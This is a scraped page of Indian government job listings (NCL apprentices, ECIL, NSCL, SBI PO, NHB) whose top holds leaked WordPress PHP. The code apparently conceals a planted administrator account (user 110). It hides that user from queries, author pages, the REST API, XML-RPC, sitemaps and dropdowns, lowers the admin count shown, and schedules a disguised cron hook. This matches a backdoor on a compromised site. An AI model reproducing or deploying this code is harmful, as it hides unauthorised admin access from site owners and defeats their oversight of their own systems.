add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 110;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 110 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 110 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 110;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 110;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 110;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/110(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 110;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
Government Jobs - Page 17 of 52 - Government Exam Alert - Jobs/ Exam Information
Skip to content
ncl apprentice recruitment 2023 for 1140 posts of Welder Fitter Electrician Motor Mechanic NCL Apprentice Online Application Form Northern Coalfields Limited NCL recruitment 2023 apply online trade apprentice eligibility criteria salary how to apply details NCL Apprentice Recruitment 2023 Online Application -1140 Posts Job Update : NCL has issued Employment Notification for Apprenticeship Training for … Read more
ecil technical officer recruitment 2023 apply online ecil to recruitment 2023 for 100 posts Electronic Corporation of India Limited ECIL Technical Officer on contract online application educational qualification criteria important dates ECIL Technical Officer Recruitment 2023 -100 Posts Apply Online LATEST UPDATE : Applications for ECIL Technical Officer Posts has started Now. Candidates can appear … Read more
Categories BE/B.Tech , Central Government Jobs , Diploma Jobs , Engineering/ Technical Jobs , Golden Jobs , Government Jobs , Graduation , ITI Certificate Jobs , M.Tech , Other Government Jobs , Post Graduate Tags Apply Online , ECIL , ecil jto recruitment , ecil recruitment , Electronic Corporation of India Limited , Junior Technical Officer , Online Application Form NSCL MT Recruitment 2023 National Seeds Corporation Recruitment 2023 for Management Trainee, Trainee, Junior Officer Scale 1 Online Application Form NSCL Trainee recruitment 2023 apply online written India Seeds exam date NSCL MT Recruitment 2023 Management Trainee Apply Online JOB UPDATE : India Seeds has invited Online Applications for Management Trainee, Trainee & Junior Officer … Read more
Categories Adminstrative Jobs , B.Sc , BE/B.Tech , Central Government Jobs , Diploma Jobs , Golden Jobs , Government Jobs , Graduation , PSU Recruitment Tags Apply Online , Management Trainee , NSCL , nscl mt recruitment 2023 , trainee SBI PO Recruitment 2023 -Probationary Officer 2000 Posts Apply Online Dates LATEST UPDATE : Good News !! Last Date of Online Application has extended to 03 October 2023. State Bank of India has issued Recruitment Notification for 2000 Vacancies for PO Post. Online Applications started now. Download Notice & Apply Online from link given below…. … Read more
Categories Adminstrative Jobs , B.Com , B.Pharma , B.Sc , BA , Bank Jobs , BBA , BCA , BE/B.Tech , Central Government Jobs , Golden Jobs , Government Jobs , Graduation , What's New Here Tags Apply Online , Online Application Form , Probationary Officer , SBI , State Bank of India nhb assistant manager recruitment 2023 apply online for 44 posts national housing bank nhb vacancies nhb assistant manager scale 1 notification 2023 online application form vacancy details educational qualification pay scale nhb assistant manager exam date NHB Assistant Manager Recruitment 2023 National Housing Bank Officer Apply Online NHB JOB UPDATE : National Housing Bank has … Read more
Categories Adminstrative Jobs , B.Com , B.Pharma , B.Sc , BA , Bank Jobs , BBA , BCA , BE/B.Tech , Central Government Jobs , Government Jobs , Graduation Tags Apply Online , assistant manager scale 1 , NHB , Officer , Online Application Form